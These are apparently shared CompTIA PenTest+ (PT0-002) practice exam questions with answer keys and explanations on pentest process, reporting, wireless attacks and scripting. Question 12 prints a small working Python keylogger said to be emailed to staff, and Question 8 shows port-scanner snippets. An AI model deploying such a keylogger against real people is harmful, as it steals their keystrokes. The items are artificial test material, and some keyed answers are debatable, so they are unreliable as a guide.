Free Questions for PT0-002 by dumpshq

Shared by House on 15-04-2024

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

Which of the following best explains why communication is a vital phase of a penetration test?

Options:

A- To discuss situational awareness

B- To build rapport with the emergency contact

C- To explain the data destruction process

D- To ensure the likelihood of future assessments

Answer:

A

Explanation:

Communication is a vital phase of a penetration test to ensure all parties involved are aware of the test's progress, findings, and any potential impact on business operations. Discussing situational awareness involves sharing real-time insights about the security posture, any vulnerabilities found, and potential risks. This enables the organization to make informed decisions, mitigate risks promptly, and

ensure the test aligns with business objectives and constraints.

Question 2

Question Type: MultipleChoice

A penetration tester is performing an assessment for an organization and must gather valid user credentials. Which of the following attacks would be best for the tester to use to achieve this objective?

Options:

A- Wardriving

B- Captive portal

C- Deauthentication

D- Impersonation

Answer:

D

Explanation:

Impersonation attacks involve the penetration tester assuming the identity of a valid user to gain unauthorized access to systems or information. This method is particularly effective for gathering valid user credentials, as it can involve tactics such as phishing, social engineering, or exploiting weak authentication processes. The other options, such as Wardriving, Captive portal, and Deauthentication, are more focused on wireless network vulnerabilities and are less direct in obtaining user credentials.

Question 3

Question Type: MultipleChoice

A penetration tester is performing an assessment for an application that is used by large organizations operating in the heavily regulated financial services industry. The penetration tester observes that the default Admin User account is enabled and appears to be used several times a day by unfamiliar IP addresses. Which of the following is the most appropriate way to remediate this issue?

Options:

A- Increase password complexity.

B- Implement system hardening.

C- Restrict simultaneous user log-ins.

D- Require local network access.

Answer:

D

Explanation:

Requiring local network access for the default Admin User account is a targeted measure to prevent unauthorized access from unfamiliar IP addresses, particularly those originating from outside the organization's network. This approach ensures that only devices physically connected to or authenticated within the local network can attempt to use the Admin User account, significantly reducing the risk of external attacks. Increasing password complexity and restricting simultaneous log-ins are good practices but do not directly address the issue of access from unfamiliar IPs. System hardening is broader and not specifically focused on the Admin User account issue.

Question 4

Question Type: MultipleChoice

Which of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?

Options:

A- Executive summary

B- Vulnerability severity rating

C- Recommendations of mitigation

D- Methodology

Answer:

B

Explanation:

The vulnerability severity rating element of a penetration testing report provides a normalized and standardized representation of discovered vulnerabilities and their threat levels. It typically involves assigning a numerical or categorical score (such as low, medium, high, critical) to each vulnerability based on factors like exploitability, impact, and the context in which the vulnerability exists. This helps in prioritizing the vulnerabilities for remediation and provides a clear understanding of the risk they pose to the system or network.

Question 5

Question Type: MultipleChoice

A penetration tester is conducting an on-path link layer attack in order to take control of a key fob that controls an electric vehicle. Which of the following wireless attacks would allow a penetration tester to achieve a successful attack?

Options:

A- Bluejacking

B- Bluesnarfing

C- BLE attack

D- WPS PIN attack

Answer:

C

Explanation:

A BLE (Bluetooth Low Energy) attack is specifically designed to exploit vulnerabilities in the Bluetooth Low Energy protocol, which is commonly used in modern wireless devices, including key fobs for electric vehicles. This type of attack can allow a penetration tester to

intercept, manipulate, or take control of the communication between the key fob and the vehicle. Bluejacking and Bluesnarfing are older Bluetooth attacks that are less effective against modern BLE implementations. WPS PIN attacks target Wi-Fi Protected Setup, which is unrelated to key fobs and electric vehicles.

Question 6

Question Type: MultipleChoice

A penetration tester is conducting a test after hours and notices a critical system was taken down. Which of the following contacts should be notified first?

Options:

A- Secondary

B- Emergency

C- Technical

D- Primary

Answer:

D

Explanation:

In the context of penetration testing, the primary contact is typically the first point of contact established before the penetration test begins. This person is usually a stakeholder or an individual who has the authority and responsibility over the system being tested. In the scenario where a critical system is taken down during off-hours, the primary contact should be notified first to ensure a prompt and coordinated response. The primary contact can then decide on the next steps, including escalating the issue to technical, secondary, or emergency contacts if necessary. This approach maintains the chain of command and ensures that the appropriate parties are informed in a structured manner.

Question 7

Question Type: MultipleChoice

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

Options:

A- Add the passwords to an appendix in the penetration test report.

B- Do nothing. Using passwords from breached data is unethical.

C- Contact the client and inform them of the breach.

D- Use the passwords in a credential stuffing attack when the external penetration test begins.

Answer:

C

Explanation:

Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach. This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures. Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible, while doing nothing (option B) neglects the tester's duty to inform the client of potential threats. Using the passwords in a credential stuffing attack (option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.

Question 8

Question Type: MultipleChoice

During a security assessment, a penetration tester decides to implement a simple TCP port scanner to check the open ports from 1000 to 2000. Which of the following Python scripts would achieve this task?

Options:

A- for i in range(1000, 2001): s = socket(AF_INET, SOCK_STREAM)
conn = s.connect_ex((host_IP, i))
if (conn == 0):
print(fPort {i} OPEN')
s.close ()

B- for i in range(1001, 2000): s = socket(AF_INET, SOCK_STREAM) conn = s.connect---ex((host_IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close ()

C- for i in range(1000, 2001): s = socket(AF---INET, SOCK_DGRAM) conn = s.connect---ex((host_IP, i)) if (conn == 0): print(f'Port {i} OPEN') s.close ()

D- for i in range (1000, 2000): s = socket(SOCK_STREAM, AF_INET) conn = s.connect---ex((host---IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close()

Answer:

A

Explanation:

The correct Python script for implementing a simple TCP port scanner that checks for open ports from 1000 to 2000 is option A. This script uses a for loop to iterate through the range of ports, creates a socket object for each port using the socket.AF_INET address family (indicating IPv4) and socket.SOCK_STREAM socket type (indicating TCP), and attempts to connect to each port. If the connection attempt (connect_ex) returns 0, it indicates the port is open, and the script prints a message stating that the port is open before closing the socket. The other options contain syntax errors, use incorrect socket types, or have incorrect ranges that do not fully cover the specified ports.

Question 9

Question Type: MultipleChoice

Which of the following describes how a penetration tester could prioritize findings in a report?

Options:

A- Business mission and goals

B- Cyberassets

C- Network infrastructure

D- Cyberthreats

Answer:

A

Explanation:

Prioritizing findings in a penetration test report should align with the business mission and goals. Understanding the business context allows a penetration tester to assess the impact of vulnerabilities in relation to the organization's critical functions and assets. This approach ensures that recommendations are not only technically sound but also relevant and actionable within the business's strategic framework. Options B, C, and D (Cyberassets, Network infrastructure, and Cyberthreats) are important factors but should be considered within the context of how they affect the business's mission and goals.

Question 10

Question Type: MultipleChoice

Which of the following would be the most efficient way to write a Python script that interacts with a web application?

Options:

A- Create a class for requests.

B- Write a function for requests.

C- Import the requests library.

D- Use the cURL OS command.

Answer:

C

Explanation:

The most efficient way to write a Python script that interacts with web applications is to import the requests library. The requests library is a Python HTTP library that simplifies making HTTP requests to web servers, which is essential for interacting with web applications. It allows you to easily send HTTP/1.1 requests, without the need for manually adding query strings to your URLs, or form-encode your POST data. Options A and B involve creating a class or function for requests, which could be more time-consuming and less efficient than using a well-established library like requests. Option D, using the cURL OS command, is less efficient in a Python script since it involves calling an external command rather than using a native Python library.

Question 11

Question Type: MultipleChoice

For an engagement, a penetration tester is required to use only local operating system tools for file transfer. Which of the following options should the penetration tester consider?

Options:

A- Netcat

B- WinSCP

C- Filezilla

D- Netstat

Answer:

A

Explanation:

Netcat is a versatile networking utility which reads and writes data across network connections, using the TCP/IP protocol. It's included in many Linux distributions and is available for Windows as well. Since the requirement is to use only local operating system tools for file transfer, Netcat is a suitable option because it can easily be scripted or used directly from the command line to send and receive files, making it a powerful tool for file transfers in a penetration testing context. Options B and C, WinSCP and Filezilla, are not typically considered local operating system tools as they are third-party applications that need to be installed. Option D, Netstat, is a network utility that displays network connections, routing tables, and a number of network interface and network protocol statistics, and is not

used for file transfers.

Question 12

Question Type: **MultipleChoice**

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime

log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

logging.log(10, chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = KbrdEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Which of the following is the intended effect of this script?

Options:

A- Debugging an exploit

B- Keylogging

C- Collecting logs

D- Scheduling tasks

Answer:

B

Explanation:

The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is pressed, the KbrdEvent function is triggered, which logs the ASCII value of the pressed key to a file named log_comptia.txt located in C:\\Windows\\Temp. The script is configured to continuously monitor keyboard events and log them, making its intended effect keylogging, rather than debugging an exploit, collecting logs in a general sense, or scheduling tasks.